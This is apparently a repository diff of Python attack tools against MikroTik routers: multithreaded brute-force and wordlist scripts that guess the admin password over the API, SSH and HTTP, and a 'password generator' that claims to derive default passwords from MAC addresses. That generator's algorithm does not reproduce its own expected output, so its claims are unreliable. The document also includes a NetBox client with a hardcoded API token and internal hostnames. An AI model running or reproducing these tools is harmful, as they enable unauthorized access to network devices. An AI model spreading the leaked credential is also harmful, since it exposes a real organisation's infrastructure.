def write_sentence(words):
for word in words:
write_word(word)
write_word("")
def read_word():
try:
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
second_byte = sock.recv(1)
if not second_byte:
return ""
length = ((length & 0x7F) << 8) + second_byte[0]
if length > 500: # Sanity check
return ""
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence():
sentence = []
tries = 0
while tries < 10: # Limit attempts
word = read_word()
if word == "":
break
sentence.append(word)
tries += 1
return sentence
# Send login
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
# Read response with timeout
sock.settimeout(1) # Shorter timeout for response
response = read_sentence()
sock.close()
# Reliable success detection
if response and len(response) > 0:
if response[0] == "!done":
return True
elif response[0] == "!trap":
# Check for specific error message
for item in response:
if "invalid user name or password" in item.lower():
return False
return False
return False
except Exception:
return False
def verify_password(self, password):
"""Double-check a potential password with multiple methods"""
print(f"\nVerifying potential password: {password}")
# Test API multiple times
api_results = []
for i in range(3):
result = self.reliable_api_test(password)
api_results.append(result)
time.sleep(0.1)
api_success = sum(api_results) >= 2 # Majority vote
# Test SSH as secondary verification
ssh_success = False
try:
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=22,
username=self.username,
password=password,
timeout=3,
allow_agent=False,
look_for_keys=False,
)
# Try to execute a command
stdin, stdout, stderr = client.exec_command("/system identity print", timeout=2)
output = stdout.read().decode()
client.close()
ssh_success = len(output) > 5 # Got some output
except Exception:
ssh_success = False
print(f" API results: {api_results} (success: {api_success})")
print(f" SSH result: {ssh_success}")
# Require both API and SSH success for verification
return api_success and ssh_success
def batch_worker(self, start_val, batch_size):
"""Process a batch of passwords"""
local_attempts = 0
for i in range(batch_size):
if self.stop_flag.is_set():
break
value = start_val + i
if value > 0xFFFFFFFF:
break
hex_str = f"{value:08x}"
password = f"{hex_str[:4]}-{hex_str[4:]}"
local_attempts += 1
if self.reliable_api_test(password):
# Potential match - verify it thoroughly
if self.verify_password(password):
with self.lock:
self.attempts += local_attempts
print(f"\n*** VERIFIED PASSWORD FOUND: {password} ***")
self.found_password = password
self.stop_flag.set()
return True
else:
print(f" False positive rejected: {password}")
with self.lock:
self.attempts += local_attempts
return False
def run_reliable_fast(self, max_workers=8, batch_size=50, start_from=0):
"""Run reliable fast brute force"""
print(f"Reliable Fast MikroTik Brute Force")
print(f"Host: {self.host}")
print(f"Workers: {max_workers}")
print(f"Batch size: {batch_size}")
print(f"Starting from: 0x{start_from:08x}")
print("Features: Double verification, false positive rejection")
print("=" * 70)
self.start_time = time.time()
# Progress reporter
def progress_reporter():
last_attempts = 0
while not self.stop_flag.is_set():
time.sleep(5) # Report every 5 seconds
with self.lock:
current_attempts = self.attempts
if current_attempts > 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed
recent_rate = (current_attempts - last_attempts) / 5
current_value = start_from + current_attempts
hex_val = f"{current_value:08x}"
password = f"{hex_val[:4]}-{hex_val[4:]}"
print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec avg, {recent_rate:.0f}/sec recent)")
print(f" Current: {password} (0x{current_value:08x})")
last_attempts = current_attempts
progress_thread = threading.Thread(target=progress_reporter, daemon=True)
progress_thread.start()
# Submit work in batches
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = []
current_val = start_from
# Submit initial work
for _ in range(max_workers * 2):
if current_val > 0xFFFFFFFF:
break
future = executor.submit(self.batch_worker, current_val, batch_size)
futures.append(future)
current_val += batch_size
# Process results and submit more work
while futures and not self.stop_flag.is_set():
completed = []
for future in futures:
if future.done():
completed.append(future)
try:
if future.result(): # Found password
self.stop_flag.set()
break
except Exception as e:
print(f"Worker error: {e}")
# Remove completed futures
for future in completed:
futures.remove(future)
# Submit more work
while len(futures) < max_workers and current_val <= 0xFFFFFFFF and not self.stop_flag.is_set():
future = executor.submit(self.batch_worker, current_val, batch_size)
futures.append(future)
current_val += batch_size
time.sleep(0.1)
elapsed = time.time() - self.start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(f"\nCompleted: {self.attempts:,} attempts in {elapsed:.1f}s ({rate:.0f}/sec)")
return self.found_password
def main():
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_reliable_fast.py <HOST> [workers] [start_hex]")
print("Examples:")
print(" python3 mikrotik_reliable_fast.py 10.250.2.2")
print(" python3 mikrotik_reliable_fast.py 10.250.2.2 16 0x00001000")
sys.exit(1)
host = sys.argv[1]
workers = int(sys.argv[2]) if len(sys.argv) > 2 else 8
start_from = 0
if len(sys.argv) > 3:
start_hex = sys.argv[3]
start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex)
attacker = ReliableFastBruteForce(host)
password = attacker.run_reliable_fast(
max_workers=workers,
batch_size=50,
start_from=start_from
)
if password:
print(f"\n✓ VERIFIED SUCCESS! Password: {password}")
print(f"You can now access the device with admin:{password}")
else:
print(f"\n✗ No password found in tested range")
if __name__ == "__main__":
main()

2246
mikrotik_wordlist.txt Normal file

File diff suppressed because it is too large Load diff

256
mikrotik_wordlist_attack.py Normal file
View file

@ -0,0 +1,256 @@
#!/usr/bin/env python3
"""
Optimized MikroTik Password Attack using Wordlist
Tests passwords from generated wordlist using most efficient methods
"""
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import socket
import requests
from requests.auth import HTTPBasicAuth
class MikroTikWordlistAttack:
def __init__(self, host, wordlist_file="mikrotik_wordlist.txt"):
self.host = host
self.wordlist_file = wordlist_file
self.username = "admin"
self.found_password = None
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
def load_wordlist(self):
"""Load passwords from wordlist file"""
try:
with open(self.wordlist_file, 'r') as f:
passwords = [line.strip() for line in f if line.strip()]
return passwords
except FileNotFoundError:
print(f"Error: Wordlist file '{self.wordlist_file}' not found")
print("Run 'python3 generate_mikrotik_wordlist.py' first")
return []
def test_api_connection(self, password, port=8728, timeout=3):
"""Test MikroTik API connection (most reliable method)"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((self.host, port))
# Send login command in MikroTik API format
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
return bytes([0xFF]) # Simplified for short strings
def write_word(sock, word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(sock, words):
for word in words:
write_word(sock, word)
write_word(sock, "")
def read_word(sock):
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
# Multi-byte length, simplified handling
length = length & 0x7F
if length > 50: # Sanity check
return ""
try:
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence(sock):
sentence = []
try:
while True:
word = read_word(sock)
if word == "":
break
sentence.append(word)
except:
pass
return sentence
# Send login
write_sentence(sock, ["/login", f"=name={self.username}", f"=password={password}"])
# Read response
sock.settimeout(2) # Shorter timeout for response
response = read_sentence(sock)
sock.close()
return response and len(response) > 0 and response[0] == "!done"
except Exception:
return False
def test_http_connection(self, password, timeout=3):
"""Test HTTP connection"""
try:
# Test if we can access a protected resource
response = requests.get(
f"http://{self.host}/webfig/",
auth=HTTPBasicAuth(self.username, password),
timeout=timeout,
allow_redirects=False
)
# Success if we don't get 401/403
return response.status_code not in [401, 403]
except:
return False
def test_ssh_connection(self, password, timeout=3):
"""Test SSH connection"""
try:
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=22,
username=self.username,
password=password,
timeout=timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception:
return False
def test_password(self, password):
"""Test a password using multiple methods"""
if self.stop_flag.is_set():
return False
with self.lock:
self.attempts += 1
current_attempts = self.attempts
# Progress reporting
if current_attempts % 10 == 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed if elapsed > 0 else 0
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
# Test methods in order of reliability and speed
methods = [
("API", lambda: self.test_api_connection(password)),
("HTTP", lambda: self.test_http_connection(password)),
("SSH", lambda: self.test_ssh_connection(password)),
]
for method_name, test_func in methods:
try:
if test_func():
print(f"\n*** SUCCESS! ***")
print(f"Password found: {password}")
print(f"Method: {method_name}")
print(f"Host: {self.host}")
print(f"Username: {self.username}")
print(f"Total attempts: {current_attempts}")
elapsed = time.time() - self.start_time
print(f"Time taken: {elapsed:.2f} seconds")
self.found_password = password
self.stop_flag.set()
return True
except Exception as e:
# If one method fails, try the next
continue
return False
def run_attack(self, max_workers=4):
"""Run the wordlist attack"""
passwords = self.load_wordlist()
if not passwords:
return None
print(f"Starting wordlist attack against {self.host}")
print(f"Username: {self.username}")
print(f"Passwords to test: {len(passwords)}")
print(f"Concurrent threads: {max_workers}")
print("=" * 60)
self.start_time = time.time()
# Use ThreadPoolExecutor for controlled concurrency
with ThreadPoolExecutor(max_workers=max_workers) as executor:
# Submit all password tests
future_to_password = {
executor.submit(self.test_password, pwd): pwd
for pwd in passwords
}
# Process results as they complete
for future in as_completed(future_to_password):
if self.stop_flag.is_set():
# Cancel remaining tasks
for f in future_to_password:
f.cancel()
break
password = future_to_password[future]
try:
result = future.result()
if result:
return self.found_password
except Exception as e:
print(f"Error testing {password}: {e}")
if not self.found_password:
elapsed = time.time() - self.start_time
print(f"\nWordlist attack completed.")
print(f"Total attempts: {self.attempts}")
print(f"Time taken: {elapsed:.2f} seconds")
print(f"No password found in wordlist.")
print("\nNext steps:")
print("1. Try generating larger wordlist with more patterns")
print("2. Consider full brute force attack")
print("3. Hardware reset if device is accessible")
return self.found_password
def main():
import sys
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_wordlist_attack.py <HOST> [threads]")
print("Example: python3 mikrotik_wordlist_attack.py 10.250.2.2 8")
sys.exit(1)
host = sys.argv[1]
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
attacker = MikroTikWordlistAttack(host)
password = attacker.run_attack(max_workers=threads)
if password:
print(f"\n✓ Attack successful! Password: {password}")
sys.exit(0)
else:
print(f"\n✗ Attack failed. No password found.")
sys.exit(1)
if __name__ == "__main__":
main()

348
mikrotikbruteforce.py Normal file
View file

@ -0,0 +1,348 @@
"""
MikroTik RouterBoard Password Brute Force Tool
This tool attempts to find the admin password for a MikroTik device
by randomly generating and testing password combinations.
It tries all possible 4-byte hex combinations (in random order) which matches
the MikroTik password format "XXXX-XXXX".
USAGE: Only use on devices you own or have authorization to access.
Unauthorized access to computer systems is illegal.
"""
import socket
import sys
import time
import random
import string
from threading import Thread, Lock
import queue
class MikroTikBruteForce:
"""Brute force MikroTik RouterBoard passwords."""
def __init__(self, host, port=22, timeout=5, use_http=False):
"""
Initialize the brute force tool.
Args:
host (str): IP address of the device
port (int): Port to connect to (22 for SSH, 80 for HTTP)
timeout (int): Connection timeout in seconds
use_http (bool): Use HTTP instead of SSH
"""
self.host = host
self.port = port
self.timeout = timeout
self.use_http = use_http
self.username = "admin"
self.found_password = None
self.attempts = 0
self.lock = Lock()
def generate_random_passwords(self):
"""
Generate all possible 4-byte hex passwords in random order.
Yields passwords in the format "XXXX-XXXX" where X is a hex digit.
This covers all 65,536^2 possible combinations (4,294,967,296 passwords).
For practicality, we generate them randomly.
Yields:
str: A password in format "xxxx-xxxx"
"""
# Generate all possible 4-hex-digit combinations
hex_digits = string.hexdigits.lower()[:16] # 0-9, a-f
# Create all possible 8-digit hex strings
all_combinations = []
for i in range(0x10000): # 65536 combinations for first 4 digits
for j in range(0x10000): # 65536 combinations for last 4 digits
hex_str = f"{i:04x}{j:04x}"
all_combinations.append(hex_str)
# Randomize the order
random.shuffle(all_combinations)
for hex_str in all_combinations:
yield f"{hex_str[:4]}-{hex_str[4:]}"
def generate_streaming_random_passwords(self):
"""
Generate random 4-byte hex passwords on-the-fly (infinite stream).
This is more memory efficient for large-scale brute forcing.
Yields:
str: A password in format "xxxx-xxxx"
"""
seen = set()
while len(seen) < 0x100000000: # 4,294,967,296 possible passwords
# Generate random 8-digit hex string
random_val1 = random.randint(0, 0xFFFF)
random_val2 = random.randint(0, 0xFFFF)
hex_str = f"{random_val1:04x}{random_val2:04x}"
if hex_str not in seen:
seen.add(hex_str)
yield f"{hex_str[:4]}-{hex_str[4:]}"
def try_password_ssh(self, password):
"""
Try connecting with SSH.
Args:
password (str): Password to try
Returns:
bool: True if successful, False otherwise
"""
try:
import paramiko
except ImportError:
print("Error: paramiko not installed. Install with: pip install paramiko")
return False
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=self.port,
username=self.username,
password=password,
timeout=self.timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception:
return False
def try_password_http(self, password):
"""
Try connecting via HTTP (WebFig).
Args:
password (str): Password to try
Returns:
bool: True if successful, False otherwise
"""
try:
import requests
from requests.auth import HTTPBasicAuth
except ImportError:
print("Error: requests not installed. Install with: pip install requests")
return False
try:
response = requests.get(
f"http://{self.host}:{self.port}/",
auth=HTTPBasicAuth(self.username, password),
timeout=self.timeout,
)
return response.status_code == 200
except Exception:
return False
def try_password(self, password):
"""Try a password using the configured method."""
if self.use_http:
return self.try_password_http(password)
else:
return self.try_password_ssh(password)
def brute_force(self, num_threads=1, memory_efficient=False):
"""
Brute force the password by trying random combinations.
Args:
num_threads (int): Number of concurrent threads to use
memory_efficient (bool): Use streaming random generation (memory efficient)
Returns:
str: Password if found, None otherwise
"""
print(f"[*] Starting brute force on {self.host}:{self.port}")
print(f"[*] Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
print(f"[*] Threads: {num_threads}")
print(f"[*] Memory efficient: {memory_efficient}")
print(f"[*] Trying random passwords in format 'xxxx-xxxx'")
print()
start_time = time.time()
if memory_efficient:
password_generator = self.generate_streaming_random_passwords()
else:
password_generator = self.generate_random_passwords()
if num_threads == 1:
return self._brute_force_single_thread(password_generator, start_time)
else:
return self._brute_force_multi_thread(password_generator, num_threads, start_time)
def _brute_force_single_thread(self, password_generator, start_time):
"""Single-threaded brute force."""
for password in password_generator:
with self.lock:
self.attempts += 1
if self.attempts % 100 == 0:
elapsed = time.time() - start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
f"Elapsed: {elapsed:.1f}s - Last tried: {password}"
)
if self.try_password(password):
elapsed = time.time() - start_time
print()
print(f"[+] SUCCESS! Found password: {password}")
print(f"[+] Total attempts: {self.attempts}")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
return password
print("[-] Brute force complete. Password not found.")
return None
def _brute_force_multi_thread(self, password_generator, num_threads, start_time):
"""Multi-threaded brute force."""
password_queue = queue.Queue(maxsize=1000)
result_queue = queue.Queue()
# Producer thread
def producer():
for password in password_generator:
if result_queue.empty(): # Stop if password found
password_queue.put(password)
# Worker threads
def worker():
while True:
try:
password = password_queue.get(timeout=1)
except queue.Empty:
break
with self.lock:
self.attempts += 1
if self.attempts % 100 == 0:
elapsed = time.time() - start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
f"Last tried: {password}"
)
if self.try_password(password):
result_queue.put(password)
print()
print(f"[+] SUCCESS! Found password: {password}")
return
password_queue.task_done()
# Start threads
producer_thread = Thread(target=producer, daemon=True)
producer_thread.start()
worker_threads = [Thread(target=worker, daemon=True) for _ in range(num_threads)]
for thread in worker_threads:
thread.start()
# Wait for result or completion
producer_thread.join(timeout=3600)
for thread in worker_threads:
thread.join(timeout=10)
if not result_queue.empty():
password = result_queue.get()
elapsed = time.time() - start_time
print(f"[+] Total attempts: {self.attempts}")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
return password
print("[-] Brute force complete. Password not found.")
return None
def main():
"""Main entry point."""
print("MikroTik RouterBoard Password Brute Force Tool")
print("=" * 55)
print()
print("⚠️ WARNING: Only use on devices you own or have authorization to access.")
print()
if len(sys.argv) < 2:
print("Usage:")
print(" python script.py <HOST> [OPTIONS]")
print()
print("Arguments:")
print(" HOST IP address of MikroTik device (e.g., 192.168.88.1)")
print()
print("Options:")
print(" --port PORT Port number (default: 22 for SSH, 80 for HTTP)")
print(" --method METHOD 'ssh' or 'http' (default: ssh)")
print(" --threads N Number of concurrent threads (default: 1)")
print(" --memory-efficient Use streaming password generation (memory efficient)")
print()
print("Examples:")
print(" python script.py 192.168.88.1")
print(" python script.py 192.168.88.1 --port 22 --method ssh")
print(" python script.py 192.168.88.1 --port 80 --method http --threads 4")
print(" python script.py 192.168.88.1 --memory-efficient --threads 8")
print()
print("Password space: 65,536² = 4,294,967,296 possible 'xxxx-xxxx' passwords")
sys.exit(1)
host = sys.argv[1]
port = 22
method = "ssh"
threads = 1
memory_efficient = False
# Parse options
i = 2
while i < len(sys.argv):
if sys.argv[i] == "--port":
port = int(sys.argv[i + 1])
i += 2
elif sys.argv[i] == "--method":
method = sys.argv[i + 1].lower()
i += 2
elif sys.argv[i] == "--threads":
threads = int(sys.argv[i + 1])
i += 2
elif sys.argv[i] == "--memory-efficient":
memory_efficient = True
i += 1
else:
print(f"Unknown option: {sys.argv[i]}")
sys.exit(1)
if method not in ["ssh", "http"]:
print(f"Error: Method must be 'ssh' or 'http', not '{method}'")
sys.exit(1)
brute_forcer = MikroTikBruteForce(
host, port=port, use_http=(method == "http")
)
brute_forcer.brute_force(num_threads=threads, memory_efficient=memory_efficient)
if __name__ == "__main__":
main()

231
mikrotikpassword.py Normal file
View file

@ -0,0 +1,231 @@
"""
MikroTik RouterBoard Password Generator
Reverse-engineered password generation algorithm based on MAC address analysis.
IMPORTANT DISCOVERY: Two different MAC addresses generate the SAME password:
MAC: 18:FD:74:F9:04:FC Password: c8fd-8bff
MAC: 18:FD:74:F9:04:90 Password: c8fd-8bff
The only difference is the last byte (FC vs 90), proving it's NOT used!
Pattern discovered:
- Only uses first 5 MAC bytes (byte 5 is ignored)
- Byte 0: MAC[0] XOR 0xD0
- Byte 1: MAC[1] (direct copy)
- Byte 2: NOT(MAC[2])
- Byte 3: 0xFF (constant or derived)
WARNING: This is based on reverse engineering two MAC addresses that both
produce the same password. More data points would help verify the constants.
"""
class MikroTikPasswordGenerator:
"""Generate MikroTik RouterBoard passwords from MAC addresses."""
@staticmethod
def parse_mac(mac_address):
"""
Parse a MAC address string into a list of bytes.
Accepts formats like "18:FD:74:F9:04:FC" or "18-FD-74-F9-04-FC"
Args:
mac_address (str): MAC address string
Returns:
list: List of 6 integers (0-255)
Raises:
ValueError: If MAC address format is invalid
"""
mac_address = mac_address.upper()
# Split by colon or dash
import re
parts = re.split(r'[:-]', mac_address)
if len(parts) != 6:
raise ValueError(f"Invalid MAC address: {mac_address}. Expected 6 octets.")
try:
mac_bytes = [int(part, 16) for part in parts]
except ValueError:
raise ValueError(f"Invalid MAC address format: {mac_address}")
return mac_bytes
@staticmethod
def bitwise_not(byte):
"""
Bitwise NOT operation (inverts all bits in a byte).
Args:
byte (int): Byte value (0-255)
Returns:
int: NOT(byte) as a byte (0-255)
"""
return byte ^ 0xFF
@staticmethod
def xor_op(byte, mask):
"""
XOR operation on a byte with a mask.
Args:
byte (int): Byte value (0-255)
mask (int): XOR mask (0-255)
Returns:
int: byte XOR mask (0-255)
"""
return (byte ^ mask) & 0xFF
@staticmethod
def format_password(pwd_bytes):
"""
Format password bytes into MikroTik format "XXXX-XXXX".
Args:
pwd_bytes (list): List of 4 bytes
Returns:
str: Formatted password like "c8fd-8bff"
"""
if len(pwd_bytes) != 4:
raise ValueError(f"Expected 4 password bytes, got {len(pwd_bytes)}")
hex_string = ''.join(f'{byte:02x}' for byte in pwd_bytes)
return f"{hex_string[:4]}-{hex_string[4:]}"
@staticmethod
def generate_password(mac_address):
"""
Generate a password from a MAC address.
Uses only the first 5 bytes of the MAC address (byte 5 is ignored).
Algorithm:
PWD[0] = MAC[0] XOR 0xD0
PWD[1] = MAC[1] (direct copy)
PWD[2] = NOT(MAC[2]) (bitwise NOT)
PWD[3] = 0xFF (constant or derived)
Args:
mac_address (str): MAC address string (e.g., "18:FD:74:F9:04:FC")
Returns:
str: Generated password (e.g., "c8fd-8bff")
Example:
>>> gen = MikroTikPasswordGenerator()
>>> pwd1 = gen.generate_password("18:FD:74:F9:04:FC")
>>> pwd2 = gen.generate_password("18:FD:74:F9:04:90")
>>> pwd1 == pwd2
True
'c8fd-8bff'
"""
mac_bytes = MikroTikPasswordGenerator.parse_mac(mac_address)
if len(mac_bytes) != 6:
raise ValueError(f"Expected 6 MAC bytes, got {len(mac_bytes)}")
# Extract the first 5 MAC bytes (byte 5 is ignored)
b0, b1, b2, b3, b4 = mac_bytes[:5]
# Generate password bytes based on discovered pattern
pwd_byte_0 = MikroTikPasswordGenerator.xor_op(b0, 0xD0)
pwd_byte_1 = b1 # Direct copy
pwd_byte_2 = MikroTikPasswordGenerator.bitwise_not(b2) # NOT operation
pwd_byte_3 = 0xFF # Constant (or possibly derived from b3)
pwd_bytes = [pwd_byte_0, pwd_byte_1, pwd_byte_2, pwd_byte_3]
# Format as hex string with dash
return MikroTikPasswordGenerator.format_password(pwd_bytes)
def test():
"""
Test the generator with the two known MAC/password pairs.
Both MACs should generate the same password.
"""
mac1 = "18:FD:74:F9:04:FC"
mac2 = "18:FD:74:F9:04:90"
expected = "c8fd-8bff"
gen = MikroTikPasswordGenerator()
generated1 = gen.generate_password(mac1)
generated2 = gen.generate_password(mac2)
print("Testing MikroTik Password Generator")
print("=" * 45)
print()
print("Test 1: First MAC address")
print(f" MAC Address: {mac1}")
print(f" Expected Password: {expected}")
print(f" Generated Password: {generated1}")
result1 = generated1 == expected
print(f" Result: {'✓ PASS' if result1 else '✗ FAIL'}")
print()
print("Test 2: Second MAC address (last byte different)")
print(f" MAC Address: {mac2}")
print(f" Expected Password: {expected}")
print(f" Generated Password: {generated2}")
result2 = generated2 == expected
print(f" Result: {'✓ PASS' if result2 else '✗ FAIL'}")
print()
# Key insight: both should be the same
print(f"Both generate same password: {'✓ YES' if generated1 == generated2 else '✗ NO'}")
print(f"Proves last byte is ignored: {'✓ CONFIRMED' if result1 and result2 else '✗ NOT CONFIRMED'}")
return result1 and result2
def main():
"""Main entry point with example usage."""
import sys
print("MikroTik RouterBoard Password Generator")
print("=" * 45)
print()
# Run test
test_passed = test()
print()
# Example usage
if len(sys.argv) > 1:
mac_address = sys.argv[1]
try:
gen = MikroTikPasswordGenerator()
password = gen.generate_password(mac_address)
print(f"MAC: {mac_address}")
print(f"Password: {password}")
except ValueError as e:
print(f"Error: {e}")
sys.exit(1)
else:
print("Usage:")
print(" python mikrotik_password.py <MAC_ADDRESS>")
print()
print("Examples:")
print(" python mikrotik_password.py 18:FD:74:F9:04:FC")
print(" python mikrotik_password.py 18-FD-74-F9-04:FC")
print()
print("Algorithm:")
print(" PWD[0] = MAC[0] XOR 0xD0")
print(" PWD[1] = MAC[1]")
print(" PWD[2] = NOT(MAC[2])")
print(" PWD[3] = 0xFF")
print()
print("Note: Only first 5 MAC bytes are used (byte 5 is ignored)")
sys.exit(0 if test_passed else 1)
if __name__ == "__main__":
main()

251
netbox_client.py Normal file
View file

@ -0,0 +1,251 @@
#!/usr/bin/env python3
import requests
import json
from urllib.parse import urljoin
class NetBoxClient:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def get_all(self, endpoint, params=None):
"""Get all results handling pagination"""
if params is None:
params = {}
params['limit'] = 100
all_results = []
url = urljoin(self.api_url, endpoint.lstrip('/'))
while url:
response = self.session.get(url, params=params)
response.raise_for_status()
data = response.json()
all_results.extend(data['results'])
url = data['next']
params = None # Don't send params on subsequent requests
return all_results
# Site methods
def get_sites(self, **kwargs):
return self.get_all('dcim/sites/', params=kwargs)
def get_site_by_name(self, name):
sites = self.get('dcim/sites/', params={'name': name})
if sites['count'] > 0:
return sites['results'][0]
return None
# Prefix methods
def get_prefixes(self, **kwargs):
return self.get_all('ipam/prefixes/', params=kwargs)
def get_prefixes_by_site(self, site_name):
"""Get all prefixes associated with a site"""
site = self.get_site_by_name(site_name)
if not site:
return []
return self.get_all('ipam/prefixes/', params={'site_id': site['id']})
# IP Address methods
def get_ip_addresses(self, **kwargs):
return self.get_all('ipam/ip-addresses/', params=kwargs)
def get_ip_addresses_by_site(self, site_name):
"""Get all IP addresses associated with a site"""
site = self.get_site_by_name(site_name)
if not site:
return []
# First try by site_id
ips = self.get_all('ipam/ip-addresses/', params={'site_id': site['id']})
# Also get IPs assigned to devices at this site
devices = self.get_all('dcim/devices/', params={'site_id': site['id']})
for device in devices:
device_ips = self.get_all('ipam/ip-addresses/', params={'device_id': device['id']})
ips.extend(device_ips)
# Remove duplicates
seen = set()
unique_ips = []
for ip in ips:
if ip['id'] not in seen:
seen.add(ip['id'])
unique_ips.append(ip)
return unique_ips
# Device methods
def get_devices_by_site(self, site_name):
"""Get all devices at a site"""
site = self.get_site_by_name(site_name)
if not site:
return []
return self.get_all('dcim/devices/', params={'site_id': site['id']})
# VLAN methods
def get_vlans_by_site(self, site_name):
"""Get all VLANs at a site"""
site = self.get_site_by_name(site_name)
if not site:
return []
return self.get_all('ipam/vlans/', params={'site_id': site['id']})
def compare_subnets():
"""Compare subnets from router with NetBox"""
# NetBox connection
nb = NetBoxClient('https://netbox.vntx.net/', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
# Subnets found on router (from previous scan)
router_subnets = [
{'address': '10.250.1.25/29', 'network': '10.250.1.24', 'interface': 'ether3-climax-11ghz'},
{'address': '10.254.254.101/32', 'network': '10.254.254.101', 'interface': 'loopback'},
{'address': '100.64.3.254/22', 'network': '100.64.0.0', 'interface': 'verona'},
{'address': '204.110.188.254/27', 'network': '204.110.188.224', 'interface': 'verona'},
{'address': '100.64.15.254/22', 'network': '100.64.12.0', 'interface': 'vlan_19_ether6'},
{'address': '10.10.95.254/20', 'network': '10.10.80.0', 'interface': 'vlan_10_ether6'},
{'address': '10.10.15.254/20', 'network': '10.10.0.0', 'interface': 'vlan_10_ether6'},
{'address': '10.0.101.254/24', 'network': '10.0.101.0', 'interface': 'sfp-sfpplus1-verona-tower-switch'},
{'address': '10.250.1.145/29', 'network': '10.250.1.144', 'interface': 'ether6-switch'},
{'address': '204.110.191.30/27', 'network': '204.110.191.0', 'interface': 'vlan9_sfpplus1'},
{'address': '10.25.1.254/24', 'network': '10.25.1.0', 'interface': 'ether1'},
{'address': '192.168.99.254/24', 'network': '192.168.99.0', 'interface': 'ether10-powerswitch'},
]
print("=== Checking Verona Site Subnets in NetBox ===\n")
# Get site info
site = nb.get_site_by_name('Verona')
if site:
print(f"Site: {site['name']} (ID: {site['id']})")
print(f"Status: {site['status']['label']}")
print(f"Address: {site['physical_address']}")
print()
# Get prefixes from NetBox
print("Fetching NetBox data...")
prefixes = nb.get_prefixes_by_site('Verona')
ip_addresses = nb.get_ip_addresses_by_site('Verona')
vlans = nb.get_vlans_by_site('Verona')
devices = nb.get_devices_by_site('Verona')
print(f"\nFound in NetBox:")
print(f"- {len(prefixes)} prefixes")
print(f"- {len(ip_addresses)} IP addresses")
print(f"- {len(vlans)} VLANs")
print(f"- {len(devices)} devices")
# Check if we need to search more broadly
if len(prefixes) == 0:
print("\nNo prefixes found with site association. Searching by description/comments...")
all_prefixes = nb.get_prefixes()
prefixes = [p for p in all_prefixes if 'verona' in (p.get('description', '') + p.get('comments', '')).lower()]
print(f"Found {len(prefixes)} prefixes with 'verona' in description/comments")
# Display NetBox prefixes
if prefixes:
print("\n=== Prefixes in NetBox ===")
for prefix in prefixes:
status = prefix['status']['label'] if prefix.get('status') else 'Unknown'
role = prefix['role']['name'] if prefix.get('role') else 'None'
description = prefix.get('description', '')
print(f"\n{prefix['prefix']}")
print(f" Status: {status}")
print(f" Role: {role}")
if description:
print(f" Description: {description}")
# Display NetBox IP addresses
if ip_addresses:
print("\n\n=== IP Addresses in NetBox ===")
for ip in ip_addresses:
status = ip['status']['label'] if ip.get('status') else 'Unknown'
role = ip['role']['name'] if ip.get('role') else 'None'
interface = ip.get('assigned_object', {}).get('name', 'Not assigned') if ip.get('assigned_object') else 'Not assigned'
print(f"\n{ip['address']}")
print(f" Status: {status}")
print(f" Role: {role}")
print(f" Interface: {interface}")
# Compare with router subnets
print("\n\n=== Comparison Analysis ===")
# Extract prefixes from NetBox data
netbox_prefixes = set(p['prefix'] for p in prefixes)
netbox_ips = set(ip['address'] for ip in ip_addresses)
# Check each router subnet
missing_subnets = []
missing_ips = []
for subnet in router_subnets:
# Check if the subnet prefix exists
subnet_cidr = f"{subnet['network']}/{subnet['address'].split('/')[-1]}"
found_prefix = False
found_ip = False
# Check against prefixes
for prefix in netbox_prefixes:
if subnet_cidr == prefix or subnet['address'] == prefix:
found_prefix = True
break
# Check against IP addresses
if subnet['address'] in netbox_ips:
found_ip = True
if not found_prefix and not found_ip:
